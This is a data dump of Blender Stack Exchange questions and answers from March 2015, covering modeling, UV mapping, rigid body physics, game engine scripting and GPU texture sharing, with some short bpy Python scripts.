  <row Id="26778" PostTypeId="2" ParentId="26761" CreationDate="2015-03-07T23:10:27.327" Score="0" Body="&lt;p&gt;another handy way to move edges around on closed objects is edge slide with preserve UV checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It helps in cases *Almost like this....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fiddling with edges on a closed shape to hand decimate.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-07T23:10:27.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26779" PostTypeId="2" ParentId="26764" CreationDate="2015-03-07T23:13:41.700" Score="0" Body="&lt;p&gt;With the focus being to keep the edges aligned on both pyramids, I would suggest you duplicate the original cylinder and then bend the face using proportional editing, which can be activated using O. I found spherical proportional editing to work the best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xT02d.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6308" LastActivityDate="2015-03-07T23:13:41.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26780" PostTypeId="2" ParentId="24439" CreationDate="2015-03-07T23:15:16.480" Score="4" Body="&lt;p&gt;Ok,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can change the angle of the step, easy enough with a ray, and parenting the animation&#xA;handles to a empty that animate the feet, just use track to another empty on the empty the feet animation handles are parented to, and place the empty via a ray. (so the player will walk up and down hills and change stride angle)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardest way (and best way) is this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=ZtzQAluEgts&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=ZtzQAluEgts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a walking ragdoll, that uses the step offset angle code, along with the fact that it really walks.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?353549-Non-PID-Ragdoll-based-on-Jackii-s-work-made-for-quot-Wrectified-quot&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?353549-Non-PID-Ragdoll-based-on-Jackii-s-work-made-for-quot-Wrectified-quot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the 'base' of that rig.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-07T23:15:16.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26781" PostTypeId="1" CreationDate="2015-03-07T23:34:33.240" Score="7" ViewCount="65294" Body="&lt;p&gt;I'm wondering how to select and move multiple vertices. Since it is a 3d shape but I'm going off a picture that I'm tracing. I just don't want to manually select each vertex each time. &lt;/p&gt;&#xA;" OwnerUserId="13037" LastEditorDisplayName="user1853" LastEditDate="2015-04-07T01:05:16.053" LastActivityDate="2019-01-30T18:47:36.640" Title="How to select and move multiple vertices" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26782" PostTypeId="2" ParentId="26781" CreationDate="2015-03-07T23:43:07.520" Score="3" Body="&lt;p&gt;There are several ways o do this. My favorite is Circle select. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use, hit &lt;kbd&gt;C&lt;/kbd&gt; a small circle appears, click and drag it over the vertices you want to grab. All the vertecies in the radius of the circle will be selected. If you select a vertex you didn't need, middle click on it to deselect. You can scroll your mouse wheel in and out to change the size of the circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDX5o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click to end circle select mode.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-07T23:43:07.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26784" PostTypeId="2" ParentId="24034" CreationDate="2015-03-08T00:14:52.107" Score="0" Body="&lt;p&gt;connect all the sensors you are using for motion to a python controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add a ray sensor, -z that will reach from the origin to below the actors lower collision bound. connect this as well,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sensors --------python&#xA;Ray-------------/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;break&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;own = cont.owner&#xA;Ray = cont.sensors['Ray']&#xA;&#xA;your_sensor_1 = cont.sensors['YourSensor']&#xA;&#xA;&#xA;## etc&#xA;&#xA;if not your_sensor.positive and Ray.positive:&#xA;    own.worldLinearVelocity*=.9&#xA;    own.applyForce((0,0,(own.mass*9.8)),0)&#xA;##if you are on the ground and not pressing any movement keys like forward or backward &#xA;## stop moving&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-08T00:14:52.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26785" PostTypeId="2" ParentId="9217" CreationDate="2015-03-08T00:19:02.900" Score="3" Body="&lt;p&gt;In order to make an object &quot;not have&quot; gravity, you can move the object up at the same speed gravity pulls it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connect an &lt;em&gt;Always&lt;/em&gt; sensor to an &lt;em&gt;And&lt;/em&gt; controller and this last one to a &lt;em&gt;Motion&lt;/em&gt; actuator, with a value of &lt;code&gt;9.8 * mass&lt;/code&gt; (where mass is the value for &lt;em&gt;Mass&lt;/em&gt;, set in the Physics tab of the &lt;em&gt;Properties window&lt;/em&gt;) for the Z axis.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="3078" LastEditDate="2015-03-08T00:43:51.270" LastActivityDate="2015-03-08T00:43:51.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26786" PostTypeId="2" ParentId="26777" CreationDate="2015-03-08T01:03:14.937" Score="5" Body="&lt;p&gt;CUDA is only available for nvidia GPUs. AMD cards can use openCL (Disabled in official builds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the wiki page on it &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2015-03-08T01:03:14.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26788" PostTypeId="2" ParentId="26772" CreationDate="2015-03-08T02:06:24.987" Score="2" Body="&lt;p&gt;You can change the view with this in the &lt;kbd&gt;N&lt;/kbd&gt; panel:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FDwAd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lens controls the field of view, start and end Clip control near and far.&#xA;For more control on left, right, bottom and top, you'll need to use a camera and change resolution. In viewport, it's display size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for walk/fly mode, use &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt;. for parameters, in user prefs, input tab, view navigation : walk and gravity for a FPS like (&lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt; jump, &lt;kbd&gt;space&lt;/kbd&gt; teleport) movement.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7Vooz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with gravity, you need a ground (plane or any object).&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-08T10:32:36.600" LastActivityDate="2015-03-08T10:32:36.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26790" PostTypeId="1" AcceptedAnswerId="26793" CreationDate="2015-03-08T03:52:34.810" Score="0" ViewCount="374" Body="&lt;p&gt;Blender noob here. When I apply a texture to my model, sometimes it becomes deformed (circles 1 and 2) or pixelated (circle 3), and sometimes it works perfectly (circle 4). I've tried changing the face to a different texture and back to the desired texture, but it doesn't change anything. This issue persists in textured and rendered viewport shading, as well as in the final rendering.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zifQN.png&quot; alt=&quot;My problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2015-03-08T06:21:04.837" Title="Applied texture is deformed or pixelated?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26791" PostTypeId="1" CreationDate="2015-03-08T05:42:14.820" Score="1" ViewCount="1433" Body="&lt;p&gt;I have selected the middle part of a sphere, as you can see in the picture. In the uv editor my result is now a beautiful square map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to keep this uv map result, and now select the whole sphere, without the uvmap changing, and use only that edited square uv map for the all selected sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9vfwy.png&quot; alt=&quot;sphere and UV map&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="2217" LastEditDate="2015-03-09T00:27:25.243" LastActivityDate="2015-03-09T00:27:25.243" Title="Selecting part of a object for the UV map" Tags="&lt;uv&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26792" PostTypeId="1" CreationDate="2015-03-08T06:04:58.343" Score="10" ViewCount="11509" Body="&lt;p&gt;How can I tell Blender not to start applying physics until a certain frame? Is it possible? I have a very complicated shot, where a massive object is crashing though various different cell fractured elements, but despite having tried the Enable Deactivation/Start Deactivated and trying somehow to set up keyframes for the Dynamic check box, all of my objects that are supposed to activate when my large object interacts with them end up just breaking apart on their own free will at the beginning of the animation. Is there a solution I am missing?  &lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="3078" LastEditDate="2015-03-08T14:30:35.767" LastActivityDate="2019-04-12T20:52:35.767" Title="How to offset the start of rigid body physics to a specific frame" Tags="&lt;physics&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26793" PostTypeId="2" ParentId="26790" CreationDate="2015-03-08T06:21:04.837" Score="1" Body="&lt;p&gt;Before applying a texture to your object you have to properly uv-unwrap your object. You can do it by going into &quot;Edit Mode&quot; than hitting &quot;U&quot; on the keyboard and selecting &quot;Unwrap&quot; form the drop down menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a complex model like yours a simple unwrap is not going to solve all of your issues.&#xA;So you should go get some more informations about uv-unwrapping from the Blender &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow&quot;&gt;Wiki&lt;/a&gt; or other web tutorials.&lt;/p&gt;&#xA;" OwnerUserId="13041" LastActivityDate="2015-03-08T06:21:04.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26794" PostTypeId="1" AcceptedAnswerId="26828" CreationDate="2015-03-08T06:43:23.183" Score="11" ViewCount="4008" Body="&lt;p&gt;I was wondering if there was a way to recreate this sort of texture on a cylinder. &#xA;I don't know if it's an actual texture or an actual surface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SvqMN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQPc5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="599" LastEditDate="2015-03-08T20:46:09.150" LastActivityDate="2015-03-08T21:17:34.730" Title="How can I recreate this diamond cut texture surface like on certain flashlights?" Tags="&lt;modeling&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26795" PostTypeId="2" ParentId="26496" CreationDate="2015-03-08T07:38:22.897" Score="0" Body="&lt;p&gt;i tried to find another way and simply deleted the poles , than made a UV map from this sphere without poles., &#xA;then putting the poles back by E for extrude. en S size to &quot;0&quot; &#xA;in this way you can repeat the texture as you desire,also less then 8 repeated loops , which was not possible before. &#xA;you can even export this as an object and import it in other projects.&#xA; the problem here is that it works for certain simple textures only , but  for complex textures it would still look uncomfortably scrambled at the poles. &lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="12908" LastEditDate="2015-03-15T18:34:07.360" LastActivityDate="2015-03-15T18:34:07.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26796" PostTypeId="1" CreationDate="2015-03-08T07:52:51.213" Score="2" ViewCount="44" Body="&lt;p&gt;I'm trying to create a very basic arrow, and I've cut it from a cube, only to find that this persists after deleting the cube. I am not entirely sure what to call it, hence searching for help has been pretty hard, but if anyone could answer, it would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yKEyF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13043" LastActivityDate="2015-03-08T08:01:05.217" Title="Structure left after deletion" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-08T13:56:05.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="26797" PostTypeId="2" ParentId="26796" CreationDate="2015-03-08T08:01:05.217" Score="2" Body="&lt;p&gt;The dashed cube is drawn because you've enabled the texture space option. This can happen accidentally by a shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fAqA6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-08T08:01:05.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26798" PostTypeId="2" ParentId="26794" CreationDate="2015-03-08T09:03:18.370" Score="9" Body="&lt;p&gt;You can do it both ways by model or faking the geometry by using a texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a plane extrude two edges so that you get a model like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JcqYH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add two &lt;em&gt;Array Modifiers&lt;/em&gt; to create a grid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WWvyR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply the modifiers and cut out the part you want to use, then scale it so that the tiles get the diamond shape. I've also selected the faces (by similar area) and beveled them &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wUlzT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add again an &lt;em&gt;Array modifier&lt;/em&gt; and a &lt;em&gt;Curve modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JU5ah.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can decide to use it as geometry or bake it to a texture.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-08T09:03:18.370" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26799" PostTypeId="2" ParentId="26792" CreationDate="2015-03-08T09:39:16.557" Score="1" Body="&lt;p&gt;When your rigid body objects start deactivated they need to be activated by another rigid body object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/myQEs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scene uses a cube to activate the simulation,  this will also work when the cube is hidden from the scene and render by the visibility flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings for the cones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W55Ss.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting for the activating cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wqsmh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information is already contained in @gandalf3 post here: &lt;a href=&quot;https://blender.stackexchange.com/questions/16306/sequentially-enable-rigid-body-control&quot;&gt;Sequentially Enable Rigid Body Control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-03-08T14:25:10.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26800" PostTypeId="2" ParentId="1371" CreationDate="2015-03-08T09:54:10.087" Score="5" Body="&lt;p&gt;I modified some of the above script to duplicate mesh objects around the golden radius in a sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trippy Faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Ds1a.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=wPXOz7Xqf1g&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=wPXOz7Xqf1g&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure one object is selected, then run the script.&#xA;Also make sure the objects rotation,scale and location have been applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GR_Generator_Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math&#xA;from mathutils import Vector&#xA;&#xA;n = 400 # number of points&#xA;r = 3 #radius&#xA;ob = bpy.context.object&#xA;obs = []&#xA;sce = bpy.context.scene&#xA;&#xA;for i in range(1, n):&#xA;    theta = i * math.radians(137.5)#degrees&#xA;    phi =  (math.radians(180)/n) * i&#xA;    x = r*math.sin(phi)*math.cos(theta)&#xA;    y = r*math.sin(phi)*math.sin(theta)&#xA;    z = r*math.cos(phi)&#xA;&#xA;    if x&amp;lt;0:&#xA;        a = x*(-1)&#xA;    else:&#xA;        a = x&#xA;&#xA;    if y &amp;lt; 0: &#xA;        b = y*(-1)&#xA;    else:&#xA;        b = y         &#xA;&#xA;    c = math.sqrt((a*a)+(b*b))&#xA;    size = 0.06+(c*0.09) #This can be messed about with to get the right size&#xA;&#xA;    copy = ob.copy()&#xA;    copy.location = (x,y,z)&#xA;    copy.scale = (size,size,size)&#xA;&#xA;    copy.rotation_euler=(phi,math.radians(0),theta+math.radians(90))&#xA;&#xA;    copy.data = copy.data.copy()&#xA;    obs.append(copy)&#xA;&#xA;for ob in obs:&#xA;    sce.objects.link(ob)&#xA;&#xA;sce.update() # don't place this in either of the above loops!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once mesh objects have been generated, select them all and make one object (Ctrl-J).&#xA;Then, making sure 3D Cursor is at 0,0,0 (Shift-C) click Object-&gt;Transform-&gt;Origin to 3D Cursor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can run the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key_Frame_Generator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math&#xA;from mathutils import Vector&#xA;&#xA;# prepare a scene&#xA;scn = bpy.context.scene&#xA;ob = bpy.context.object&#xA;&#xA;#number of frames&#xA;n = 143 &#xA;#degrees to rotate&#xA;d = 0 #Change to apply spin&#xA;&#xA;for i in range(0, n):&#xA;&#xA;    bpy.context.scene.frame_set(i)&#xA;&#xA;    # do something with the object. A rotation, in this case&#xA;    ob.rotation_euler=(0.0,0.0,math.radians(d))&#xA;&#xA;    d = (d + 137.5) #Change to subtract to change direction of appeared flow&#xA;&#xA;    # create keyframe&#xA;    bpy.ops.anim.keyframe_insert_menu(type='Rotation')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13044" LastEditorUserId="13044" LastEditDate="2015-03-09T08:26:28.923" LastActivityDate="2015-03-09T08:26:28.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26801" PostTypeId="2" ParentId="26766" CreationDate="2015-03-08T10:20:16.770" Score="3" Body="&lt;p&gt;The first two questions are related I will focus on them.&#xA;The stretching you face only appears with inverse kinematics (IK) when you move the control bone in a impossible position, this is used for cartonic exaggeration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable this by setting the Auto Stretch IK slider to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKxVP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The elbow has an IK-target which can be controlled as knees with a ball shaped control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LeE7E.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-08T10:20:16.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26802" PostTypeId="2" ParentId="19370" CreationDate="2015-03-08T11:20:46.137" Score="1" Body="&lt;p&gt;If you have some programming skill, patfinding with random maps or evolving maps is possible but not easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?347409-RTS-game-tools-experiements&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is my Blender artists thread with experiments on patfinding with random terrain (as well as other RTS topics).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an RTS usually takes place on a 2D landscape you can use quite simple pathfinding techniques. I got data from a mesh to use as obstacles and then used mathutils.geometry functions to help generate a graph of connections between random points. In this case instead of a walk mesh, I generated an no-walk mesh and used it to cull a graph of connected points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your maps are fixed, but they are evolving, like with player placed buildings, you can just make the buildings in to obstacles.&lt;/p&gt;&#xA;" OwnerUserId="13045" LastActivityDate="2015-03-08T11:20:46.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26803" PostTypeId="2" ParentId="26791" CreationDate="2015-03-08T12:10:02.793" Score="1" Body="&lt;p&gt;It's not possible. the non-unwrapped part will use the default mapping.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-08T12:10:02.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26805" PostTypeId="1" AcceptedAnswerId="26812" CreationDate="2015-03-08T14:10:38.510" Score="2" ViewCount="1981" Body="&lt;p&gt;I have made this image :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L8GGF.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see there is something wired going on with the liquid of inside the glass, in fact, I'm doing a fluid simulation here, it looks like the mesh of the fluid doesn't match the mesh of the glass, so I think that's why we have this cloth look here, &lt;strong&gt;any ideas on how to make the liquid more realistic ?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I thought the color of the liquid would be more visible in the shadow, but it's not that much, do you know how to fix this ? (I'm using the glass shader, with Cycles).&lt;/p&gt;&#xA;" OwnerUserId="5466" LastActivityDate="2015-03-08T17:36:51.100" Title="How to make this glass more realistic?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26806" PostTypeId="1" CreationDate="2015-03-08T14:14:53.770" Score="1" ViewCount="779" Body="&lt;p&gt;I just need to import a .3ds model into the scene using the console/scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main file is in C:Users\Me\Desktop\Maps and the .3ds model is in C:Users\Me\Desktop\Maps\Models&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I should be using bpy.ops.import_scene.autodesk_3ds() but I honestly just keep getting the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.65\scripts\modules\bpy\ops.py&quot;,&#xA;    line 185, in __call__     C_dict, C_exec, C_undo = BPyOpsSubModOp._parse_args(args)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.65\scripts\modules\bpy\ops.py&quot;,&#xA;    line 142, in _parse_args&#xA;  raise ValueError(&quot;1-3 args execution context is supported&quot;) ValueError: 1-3 args execution context is supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exactly how should I type out that line?&lt;/p&gt;&#xA;" OwnerUserId="13046" LastEditorUserId="8319" LastEditDate="2015-03-08T17:03:19.757" LastActivityDate="2016-08-16T15:49:17.570" Title="how to import a .3ds model in Blender 2.65 via console" Tags="&lt;python&gt;&lt;import&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26807" PostTypeId="2" ParentId="6461" CreationDate="2015-03-08T17:08:48.367" Score="2" Body="&lt;p&gt;It should be fairly easy to test whether the objects are sharing the texture or not since you are using GPU rendering and the number of available textures that can be used is fairly low. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this Blender Wiki page, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&lt;/a&gt; , it lists how many textures you can use before failure should occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now do a simple test by Linking a number of objects that is higher than the number of allowed textures.&lt;br&gt;&#xA;If everything renders fine then you can be satisfied that the textures are shared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you look at the area that is circled in the next image you will see a number '2'.  That indicates how many users of the texture there are.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not rely on software info to report this accurately for what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stress testing is really the only way to make sure the hardware can do what you expect from the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested both Link and Append using the following method.  I added a 4096x4096 texture to two simple models and then added them to a group.  I added a sphere with a hair particle system and added the 'crystal group'.  The number of instances was set to 150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next the Particle system modifier was Applied and the scene saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kaVyJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I shut down Blender to make sure everything was cleared out and used Append to load in all the separate objects, (including the two originals)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By clicking on several of them individually, I checked the Materials texture node for the number of users and also to verify that there was not a tex.001, tex.002, tex.003, etc.  There did not appear to be any redundant textures weirdness either in the nodes or the image editor drop-down.  Only 2 users were reported for the texture node which looked the same for every model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now shut down Blender and restarted using a blank scene and this time used Link to load in a the models.&#xA;The results were exactly the same, all the objects were sharing the texture and only 2 users were reported by the texture node.  The second user is presumably due to the original crystal models that were also loaded in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also watched the OS's memory usage utility to see how much the system memory climbed for both tests.  It was very reasonable so it's fairly certain that there were not 152 4096x4096 textures being loaded.  I'm sure that would have shown as a dramatic climb in memory usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shared .png file is about 8.3MB on disk(compressed) and the total RAM usage for Blender was reported to be about 230MB.  When I started the Cycles Render it hovered around 400-500MB.&lt;br&gt;&#xA;If the texture was being duplicated within Blender I'd expect the memory usage to be much higher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't test using a CUDA enabled device since I don't own one but this looks promising for the use that you describe.  I suppose next you could test to see what happens when the objects all have separate materials.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-03-10T08:33:19.197" LastActivityDate="2015-03-10T08:33:19.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
